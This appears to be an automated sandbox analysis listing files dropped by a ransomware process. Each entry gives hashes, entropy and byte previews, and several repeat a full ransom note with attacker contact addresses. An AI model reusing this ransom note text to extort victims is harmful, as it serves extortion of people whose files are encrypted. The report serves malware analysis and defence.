                                                                                                                                                                Preview:\G....b.v.."G;...>]Zn.y....~....i.[......e.BQ. ......d.....Wo?..W.A...B.^...p.u....E...tB.>6.ql.....Q.we.! ....g......3s.;..-...H~J..W...`...[..eSM:..?J.<w.>We.&....9....k..Z.uH.........q:bjk.?,.0Z..m..m..:!.....c......E_.".d..e;..I.v...........y.&.L...5.q..^....../'G...R..O.f.i&#.gm.*...7...yD.}....j3..0W.S+9....}.....L7..;....N...X`...n;...}..e.;.*..p......IA..:..ay.e..{..W.........&..>....[.F...c.....X.9....:OU..._5+........3...a BA.././....6\..z..y..i....E...N.N.......W.-.%..L.j.}..{.`....w7~2Va.e.......'}.......I....E..+k.....:j.h.]........).@JO;....e...Hg}'d~e2....r.....A..x^q...n..j.nz\"......R.Gn...f.}.a....9V..?........kV=.{..D.;:.4]W.kL..x.$s..J,..,.[..@.....g..."|./.....o..`.....}R.t.6....V..j:`......hK..8.h..o.w....m...v..D.....%R....z>..V*{..5.|`....)j.u&.G...1.Q..m.....v7iV.........O...d..9.,..5a=./B...b.1P7...........#....1PV2.T7.p!6.p7h.....\).<......Q./<..x).ll.+.?L.l..Pz].I...?D,4".X.J..g^.yAR(.:.........0.u<..q..q-j.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.823438863033989
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:2kZuhUaNl1Ko2oFW94R7Ybif2/eZxJL23ZcCu8sBQdvVSVyiS:2kZuh7JvFO4R72deZxJ2J08sgViG
                                                                                                                                                                MD5:660BFAA9A61523C760AEB4F046FBD74A
                                                                                                                                                                SHA1:C75DA2BCC5E24F90A6906E08E48D51B1E84E3996
                                                                                                                                                                SHA-256:0277F9C1BF2E768172CC8450082674EA3032646D4A18269CDE001B2AF3991825
                                                                                                                                                                SHA-512:AC3A2E5047F3C4BF528694E57370B1D8000C102181767FF08A521B789CEDC5CD6FF62245AB908ACFC5EBA1DFB4C7388B0A6065111C2BBC22BC2D0BB9FB194027
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:;.M.%.i...".l.v.....%p.'cf...0.-B.1.H.=..v.%..W.R.....cD...c...1h..K.....^.7.qG..P<!>.*}.L...X..N...Cq-{.U@.....!....*.....V.9....V.........w....iX..&..}..........."/.C.%.aE.*..cd.F......v.....Va{..%..{.u..N.......t....%J.2...zz.......X<E .9 .7.}mfZ.y.^.p.../X*.h4z...7.|..t~r.........y.LU.5'.~...8.!..i.a\&...N..k.....aMsZ._.b}...K..-.......Y.%..GN...f.?j+d'...&..I.`.Kn....se.s.Y.....`\f8...,.`'.~.Z."ql!;.1.'_.j..`.T-M..45.c.......i......s..*....I.&..]4..............5mn_c\..8<N=...O.m..s.&R.5...i.7.......5.I....eF...v.5..].A....ho1..g....._.$..b........c.-..3...z....E.Kg....+...,+9"u.2$....]..'M...n.F`.1|}....56.....>.4..x].......,......9.S.lZ...HF..$.z........'S....n...`...{.Oa....V...D....2..u.|A'. .c.p.jU.UA0..F.0..;.........xo..zB...$.,w.."..h..}q.e....D.....s....4^...T=P.l&.6~.?..)].c..N.....w.M.$...afJG...AWZ.....pVWL.V.=B.l.E....w7..+....X3..n.,......DU.p.+_.....#..n.X.%..9..s.w....s.zp.F.4...xa...R...6.....3I...C.s.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.823438863033989
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:2kZuhUaNl1Ko2oFW94R7Ybif2/eZxJL23ZcCu8sBQdvVSVyiS:2kZuh7JvFO4R72deZxJ2J08sgViG
                                                                                                                                                                MD5:660BFAA9A61523C760AEB4F046FBD74A
                                                                                                                                                                SHA1:C75DA2BCC5E24F90A6906E08E48D51B1E84E3996
                                                                                                                                                                SHA-256:0277F9C1BF2E768172CC8450082674EA3032646D4A18269CDE001B2AF3991825
                                                                                                                                                                SHA-512:AC3A2E5047F3C4BF528694E57370B1D8000C102181767FF08A521B789CEDC5CD6FF62245AB908ACFC5EBA1DFB4C7388B0A6065111C2BBC22BC2D0BB9FB194027
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:;.M.%.i...".l.v.....%p.'cf...0.-B.1.H.=..v.%..W.R.....cD...c...1h..K.....^.7.qG..P<!>.*}.L...X..N...Cq-{.U@.....!....*.....V.9....V.........w....iX..&..}..........."/.C.%.aE.*..cd.F......v.....Va{..%..{.u..N.......t....%J.2...zz.......X<E .9 .7.}mfZ.y.^.p.../X*.h4z...7.|..t~r.........y.LU.5'.~...8.!..i.a\&...N..k.....aMsZ._.b}...K..-.......Y.%..GN...f.?j+d'...&..I.`.Kn....se.s.Y.....`\f8...,.`'.~.Z."ql!;.1.'_.j..`.T-M..45.c.......i......s..*....I.&..]4..............5mn_c\..8<N=...O.m..s.&R.5...i.7.......5.I....eF...v.5..].A....ho1..g....._.$..b........c.-..3...z....E.Kg....+...,+9"u.2$....]..'M...n.F`.1|}....56.....>.4..x].......,......9.S.lZ...HF..$.z........'S....n...`...{.Oa....V...D....2..u.|A'. .c.p.jU.UA0..F.0..;.........xo..zB...$.,w.."..h..}q.e....D.....s....4^...T=P.l&.6~.?..)].c..N.....w.M.$...afJG...AWZ.....pVWL.V.=B.l.E....w7..+....X3..n.,......DU.p.+_.....#..n.X.%..9..s.w....s.zp.F.4...xa...R...6.....3I...C.s.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.853235848121037
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:U5ikXvH67vNvUNaU+qkRpoCVhgz7BK1h7+7X60Oz0kTLguAVrxoz7Ex:U5iwAqHk7rVq7s1hau0O+Vfozwx
                                                                                                                                                                MD5:9C1774E058AC6E793CEDF0424146D7A4
                                                                                                                                                                SHA1:04AF17850A3732009B8B794EC3D5F04F8F9255E4
                                                                                                                                                                SHA-256:4A5809A9B9D86C1B50AADF760DDF33ADEAACB91494B9AE5D68AA9BE84097F4D4
                                                                                                                                                                SHA-512:FD4F54E199FC26D3155B608A35E05B0D5C10B41EDD72649F11535C3387B93B5986BB3A2AD26BD9F55148F5CEDF3759B54BEF340DCD063BB09AE8B46C57E3102E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..5d{8.E...M..}P.y$..;,\YkZ......3o....:.H...0..,.;..K...[...u.5.r3...p$....+..te ^..."4....8V..1M.h..m.......O.v..EgD.o?Pc....1.3d.&......r..=.9..#/...+[....LS_.....r.X.E..F......Jj...(.VJO.>&.H~..C.Z...F.....pA..z.........*.....9;.....8G........X.O.I.T5p/.Qh.f.o}.....i..v9.x...I.........`...2aTs.....'......k~.i.=.h9.<.3E...nVY...?..=..s..TG.R}....b..*z6..u=!.............t..i.8.3Ea{p.:..>...+..H...=.;..@.....EH;...{=).......Q,z......wD...-~K..A=,....T.P.5.v....Xk..165...34....Y8.c^@..B...Ft.........Y..a.}..:@.U.......x/_.fcC..Q...gFq......w8.sQ.L;....k.".H..|........Z.VNU1..~%CWu..e.Va...b.n.p...zv..k.&...5....e.b5.w...a...9.v......&......c..............5.x.P.<.u....z..Z..M..7.s...\..X.DwN\.X.0'.Z.v-T8..%B?.8U$=.2...6\=...dW%...G.&7....o^...</..$Iq.....zqC.-..E...sU..p....?...GXO.St..@...i......}.m.].G...3.Q.}..@.A"p<#Fq`....j...P.-..'......l.'..{.A.l.....uY.~..ZJ.h....&......)....T_3.1....1.........0...g."..v..\q.8...z.#uuG..g...`.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.853235848121037
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:U5ikXvH67vNvUNaU+qkRpoCVhgz7BK1h7+7X60Oz0kTLguAVrxoz7Ex:U5iwAqHk7rVq7s1hau0O+Vfozwx
                                                                                                                                                                MD5:9C1774E058AC6E793CEDF0424146D7A4
                                                                                                                                                                SHA1:04AF17850A3732009B8B794EC3D5F04F8F9255E4
                                                                                                                                                                SHA-256:4A5809A9B9D86C1B50AADF760DDF33ADEAACB91494B9AE5D68AA9BE84097F4D4
                                                                                                                                                                SHA-512:FD4F54E199FC26D3155B608A35E05B0D5C10B41EDD72649F11535C3387B93B5986BB3A2AD26BD9F55148F5CEDF3759B54BEF340DCD063BB09AE8B46C57E3102E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..5d{8.E...M..}P.y$..;,\YkZ......3o....:.H...0..,.;..K...[...u.5.r3...p$....+..te ^..."4....8V..1M.h..m.......O.v..EgD.o?Pc....1.3d.&......r..=.9..#/...+[....LS_.....r.X.E..F......Jj...(.VJO.>&.H~..C.Z...F.....pA..z.........*.....9;.....8G........X.O.I.T5p/.Qh.f.o}.....i..v9.x...I.........`...2aTs.....'......k~.i.=.h9.<.3E...nVY...?..=..s..TG.R}....b..*z6..u=!.............t..i.8.3Ea{p.:..>...+..H...=.;..@.....EH;...{=).......Q,z......wD...-~K..A=,....T.P.5.v....Xk..165...34....Y8.c^@..B...Ft.........Y..a.}..:@.U.......x/_.fcC..Q...gFq......w8.sQ.L;....k.".H..|........Z.VNU1..~%CWu..e.Va...b.n.p...zv..k.&...5....e.b5.w...a...9.v......&......c..............5.x.P.<.u....z..Z..M..7.s...\..X.DwN\.X.0'.Z.v-T8..%B?.8U$=.2...6\=...dW%...G.&7....o^...</..$Iq.....zqC.-..E...sU..p....?...GXO.St..@...i......}.m.].G...3.Q.}..@.A"p<#Fq`....j...P.-..'......l.'..{.A.l.....uY.~..ZJ.h....&......)....T_3.1....1.........0...g."..v..\q.8...z.#uuG..g...`.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:COM executable for DOS
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.831489394282562
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:ex7KTL4pow9oz0I577GtcyrUxyBlCHjW4keupRqhsiM3U4DR8tRut3oH66GwO958:P4pow9oz0U+cywxolQxzu/qCB3UxtMlW
                                                                                                                                                                MD5:3103E786CC32B6E868964B65D9ABD84E
                                                                                                                                                                SHA1:F1E4C54E20D9F4018FC10472B8D8084536E8F9E7
                                                                                                                                                                SHA-256:8DDB9AC5FDB597338243905C20ED9EC5BB91D316B409803077C66805ADACC1D7
                                                                                                                                                                SHA-512:08EFABE8112EF76377BFD32595F48751E0B806B7F33D570E2B38AEB29769B2BFAB1356BFEF832ABE8E531B51620CD9CD05D69F39EB026E8DF911DA32C44D1A66
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.)....q....M.U.]..p^..F.?j(.J(.NA...Z....K0_Jm.:.B......U..ZL...Lqp]..V...".].... .f|.ZHQ.#..p5..b.S....._)..7q).jd.....5c.......8f..:../l.;.yd...s...L%.l..X...d.......'.q..R..)n....>ph.2.(...L.o0t.':...E.....,I......SP9...@Y..].8ll.......j&`D....+V.../n.....#.a..:.._..~.L..{`3R..R..k}..-1!.[...Y.kQR...W......Z....f.U.. .-..,?...9...B..w.$ba......Mf...(t.......PN.u.A..6.5-k....mi. .2..p.v...;(U.-Q8..S..]...c.......D.....k...a...*X....]W...f..B......U.ie.S.....#.....G.%:.P7y.3>...H.A....2.Nv.....@A..{G..J....k...1N&..%..x{'...^W..E.7.A?.I..8a.4..o.Zp.[..^f..>.....c.0.;.(..........-A.Wn....jj..1s....^...&.e..P..x.p].c......5..$.e.J.N6s$I5\U..zW..B\.?XC..Q^...j3.).#..F..w.rD......^......;....@Y...J.*...C..}.m7+.%..#.."]........8...Dv.k.w ..Y/...v...Xx[....ZWxM.....I.6.c..M.Y..R/-./mz9.....R..c$l[^0._2ED@#k.]...oT~...g+.|i..E.i...pO88...m.^Wb...S.".\.H.....].....m...O.O.....D(.m...Ap.0.[.........r.9C.kEs.2....XbC.......J...f.....x)}.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:COM executable for DOS
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.831489394282562
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:ex7KTL4pow9oz0I577GtcyrUxyBlCHjW4keupRqhsiM3U4DR8tRut3oH66GwO958:P4pow9oz0U+cywxolQxzu/qCB3UxtMlW
                                                                                                                                                                MD5:3103E786CC32B6E868964B65D9ABD84E
                                                                                                                                                                SHA1:F1E4C54E20D9F4018FC10472B8D8084536E8F9E7
                                                                                                                                                                SHA-256:8DDB9AC5FDB597338243905C20ED9EC5BB91D316B409803077C66805ADACC1D7
                                                                                                                                                                SHA-512:08EFABE8112EF76377BFD32595F48751E0B806B7F33D570E2B38AEB29769B2BFAB1356BFEF832ABE8E531B51620CD9CD05D69F39EB026E8DF911DA32C44D1A66
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.)....q....M.U.]..p^..F.?j(.J(.NA...Z....K0_Jm.:.B......U..ZL...Lqp]..V...".].... .f|.ZHQ.#..p5..b.S....._)..7q).jd.....5c.......8f..:../l.;.yd...s...L%.l..X...d.......'.q..R..)n....>ph.2.(...L.o0t.':...E.....,I......SP9...@Y..].8ll.......j&`D....+V.../n.....#.a..:.._..~.L..{`3R..R..k}..-1!.[...Y.kQR...W......Z....f.U.. .-..,?...9...B..w.$ba......Mf...(t.......PN.u.A..6.5-k....mi. .2..p.v...;(U.-Q8..S..]...c.......D.....k...a...*X....]W...f..B......U.ie.S.....#.....G.%:.P7y.3>...H.A....2.Nv.....@A..{G..J....k...1N&..%..x{'...^W..E.7.A?.I..8a.4..o.Zp.[..^f..>.....c.0.;.(..........-A.Wn....jj..1s....^...&.e..P..x.p].c......5..$.e.J.N6s$I5\U..zW..B\.?XC..Q^...j3.).#..F..w.rD......^......;....@Y...J.*...C..}.m7+.%..#.."]........8...Dv.k.w ..Y/...v...Xx[....ZWxM.....I.6.c..M.Y..R/-./mz9.....R..c$l[^0._2ED@#k.]...oT~...g+.|i..E.i...pO88...m.^Wb...S.".\.H.....].....m...O.O.....D(.m...Ap.0.[.........r.9C.kEs.2....XbC.......J...f.....x)}.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8322559300755135
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:YuU0CHRLzz3A8fti8YYHjdF2DiVCS04IyfOlXUE0gqrXiVXu:jIhD1foYZk8Q0gKy1u
                                                                                                                                                                MD5:4A433F546DECA74ED39C002CFC907786
                                                                                                                                                                SHA1:E7401A4BDC64813D832BDC8ADF707F65842278C4
                                                                                                                                                                SHA-256:04D04ECF19714ABA69AABB20EF26D8973F7DF59B30FE4076C033768E826AD63D
                                                                                                                                                                SHA-512:E53866623737C0E9A2E24E053468D2F57A720C35D965B27F98541A9236D4EEF77F3375EE95DED29F47FFD84CD10E123D12913EE476CFE463BB7B10DADCC3AA0C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.Q.i....N[Vn.....gQ..|.A.A.FX..v...."....p.I.9..x.(...T.......t..m7....i...E;..J.n..].x....2.0.p3X.Q..;.``..~.hR...5..\..u.%..=^.(.X.....a..)...X.v.e5...V........'..0'V....d......E......k=..Is..T...J...m^...+..._>....L.r:L.3.4J.gv....{._w..l..KXm.>.S....;BU..c.%"......x..x.0........E...4w..k..DB......t&\.3...*.h.V...W...y...}^^.9.R...4`%...\..-.p....W.9|.j...c.'~.sI..}..J!D1}.g.....3..........2M...)..csp..VZ.h.j..K.k.cC...w.........ory...]..i7@..-...t.r..r.q.)..U.,aK...r0...x......d........V..$..W8..P.c..e.....L...(ZR.7oT,.......!.B.*.....N%...w...X.G.S...k.y.f..9LFB.o.8.....[..*.Xh.v.......$.i^.3.MXB.<a...:....J.;....%.3H.t.......M2zvT.\.....^..4D..JP>?..;..+C..I..7.%lRm....|..~o3....z..TU...o......_2N....Q.l.....o74....F/]..<.CJu7.....E...N.Y.6...{Tx.8;......7g..V...e....N.....8L...Q..B...C.zPF_.}.Y(...>>.ks...3Gt.c.E.f.E....s3=.uXN.c...3[..'0a.n...`.....,D...)~.^.o((..>...ov.AD.......X.>...........8g...M.d...>L.|>.2.C.2...!.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8322559300755135
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:YuU0CHRLzz3A8fti8YYHjdF2DiVCS04IyfOlXUE0gqrXiVXu:jIhD1foYZk8Q0gKy1u
                                                                                                                                                                MD5:4A433F546DECA74ED39C002CFC907786
                                                                                                                                                                SHA1:E7401A4BDC64813D832BDC8ADF707F65842278C4
                                                                                                                                                                SHA-256:04D04ECF19714ABA69AABB20EF26D8973F7DF59B30FE4076C033768E826AD63D
                                                                                                                                                                SHA-512:E53866623737C0E9A2E24E053468D2F57A720C35D965B27F98541A9236D4EEF77F3375EE95DED29F47FFD84CD10E123D12913EE476CFE463BB7B10DADCC3AA0C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.Q.i....N[Vn.....gQ..|.A.A.FX..v...."....p.I.9..x.(...T.......t..m7....i...E;..J.n..].x....2.0.p3X.Q..;.``..~.hR...5..\..u.%..=^.(.X.....a..)...X.v.e5...V........'..0'V....d......E......k=..Is..T...J...m^...+..._>....L.r:L.3.4J.gv....{._w..l..KXm.>.S....;BU..c.%"......x..x.0........E...4w..k..DB......t&\.3...*.h.V...W...y...}^^.9.R...4`%...\..-.p....W.9|.j...c.'~.sI..}..J!D1}.g.....3..........2M...)..csp..VZ.h.j..K.k.cC...w.........ory...]..i7@..-...t.r..r.q.)..U.,aK...r0...x......d........V..$..W8..P.c..e.....L...(ZR.7oT,.......!.B.*.....N%...w...X.G.S...k.y.f..9LFB.o.8.....[..*.Xh.v.......$.i^.3.MXB.<a...:....J.;....%.3H.t.......M2zvT.\.....^..4D..JP>?..;..+C..I..7.%lRm....|..~o3....z..TU...o......_2N....Q.l.....o74....F/]..<.CJu7.....E...N.Y.6...{Tx.8;......7g..V...e....N.....8L...Q..B...C.zPF_.}.Y(...>>.ks...3Gt.c.E.f.E....s3=.uXN.c...3[..'0a.n...`.....,D...)~.^.o((..>...ov.AD.......X.>...........8g...M.d...>L.|>.2.C.2...!.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.829737229885184
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:YX5nEI1B9h8GdUwgcZyKj2DIeKl8lpJU0m4t+u+I3xCVeR0lwN2fR45:YJjX3dNJCd/sMP+Ih4pCAW
                                                                                                                                                                MD5:9AA0D903122CB1C180DCA78DE08F697B
                                                                                                                                                                SHA1:443A52480CBA6B83773A7FE81968BD0E3A3E2325
                                                                                                                                                                SHA-256:8C89070D069D06659CF19EE468278751FD5115D4384890A93E5A24B3138DE98D
                                                                                                                                                                SHA-512:81F6B2998E9ED64525D025155585BB58BAF361A7BD52015FDAB7E14B6B99F4B48557870C5E5A2B160163DBFB7424D89CEABD2DF0633B3F1BC75E820DFD40FE8E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..i.R.....P..r.?.ON.~...ME..C.}.BNs..]9.{.Ce.*.}.2<p....|.6...w..Z+...A...z.JU...Sm:.....n1..T...@.......=G$.s....e..=.\..M..(`._.U.w.@/.w..QM....i.O...7Hd]..C...jg.O...d.'.1...3>.....!.}iW.b.Yu>.wJ.5...u.S........>...\.$.8.2..?`.[.q...".."*&F.F.....f.....'....../~b<.....;5..6.....&......@R!...^...HE...........P.).......&..jB/.FU....^...]......]2".g............~.$T..F-..x.... 3..m..C;[.c.J#h...8...T..kb...e6.=Z.p...^.a.c....u?...}(..6.e(R..%....N.O$..Bm......p.{...\..h....2aN.n%.K.n.L....y......e...%.9. .e w.A.6p].s/.-.3...\=l.i..&K....x$._..B..^) .S-....5.-....-.>>o.?........ ka."...7$...._..9.:.}.[...C..&..$>........6G....^_...?C.../"1r...Kj.;.....Y.......&.d.."..?k.4.vm..37+X.A:.)..:...o..f.h2w...uY_.w].~Ht...XQ..K.J.........t...(.5.u....b....|v..>!....[.....Y.....[Au.*..[.k.$0.R:Y.%.bT.q.*..gT.QA.w....l'4@X..1.c...s.g..H.?....*......U..C.....S..T.....v..N..e.V.....^u.{..4.:..Z...d...u.].3.N..|...^v........A.,.^.|.@.G.u........ .N..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.829737229885184
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:YX5nEI1B9h8GdUwgcZyKj2DIeKl8lpJU0m4t+u+I3xCVeR0lwN2fR45:YJjX3dNJCd/sMP+Ih4pCAW
                                                                                                                                                                MD5:9AA0D903122CB1C180DCA78DE08F697B
                                                                                                                                                                SHA1:443A52480CBA6B83773A7FE81968BD0E3A3E2325
                                                                                                                                                                SHA-256:8C89070D069D06659CF19EE468278751FD5115D4384890A93E5A24B3138DE98D
                                                                                                                                                                SHA-512:81F6B2998E9ED64525D025155585BB58BAF361A7BD52015FDAB7E14B6B99F4B48557870C5E5A2B160163DBFB7424D89CEABD2DF0633B3F1BC75E820DFD40FE8E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..i.R.....P..r.?.ON.~...ME..C.}.BNs..]9.{.Ce.*.}.2<p....|.6...w..Z+...A...z.JU...Sm:.....n1..T...@.......=G$.s....e..=.\..M..(`._.U.w.@/.w..QM....i.O...7Hd]..C...jg.O...d.'.1...3>.....!.}iW.b.Yu>.wJ.5...u.S........>...\.$.8.2..?`.[.q...".."*&F.F.....f.....'....../~b<.....;5..6.....&......@R!...^...HE...........P.).......&..jB/.FU....^...]......]2".g............~.$T..F-..x.... 3..m..C;[.c.J#h...8...T..kb...e6.=Z.p...^.a.c....u?...}(..6.e(R..%....N.O$..Bm......p.{...\..h....2aN.n%.K.n.L....y......e...%.9. .e w.A.6p].s/.-.3...\=l.i..&K....x$._..B..^) .S-....5.-....-.>>o.?........ ka."...7$...._..9.:.}.[...C..&..$>........6G....^_...?C.../"1r...Kj.;.....Y.......&.d.."..?k.4.vm..37+X.A:.)..:...o..f.h2w...uY_.w].~Ht...XQ..K.J.........t...(.5.u....b....|v..>!....[.....Y.....[Au.*..[.k.$0.R:Y.%.bT.q.*..gT.QA.w....l'4@X..1.c...s.g..H.?....*......U..C.....S..T.....v..N..e.V.....^u.{..4.:..Z...d...u.].3.N..|...^v........A.,.^.|.@.G.u........ .N..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.865587106527909
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:bgtz6A7dpNG6aCqqHXnKKMLXo2vzJj7evXNFfUpMuxAAn6mdyd9LmAm:Utz6A/pzdHaVHzd4XHAMu/dcVfm
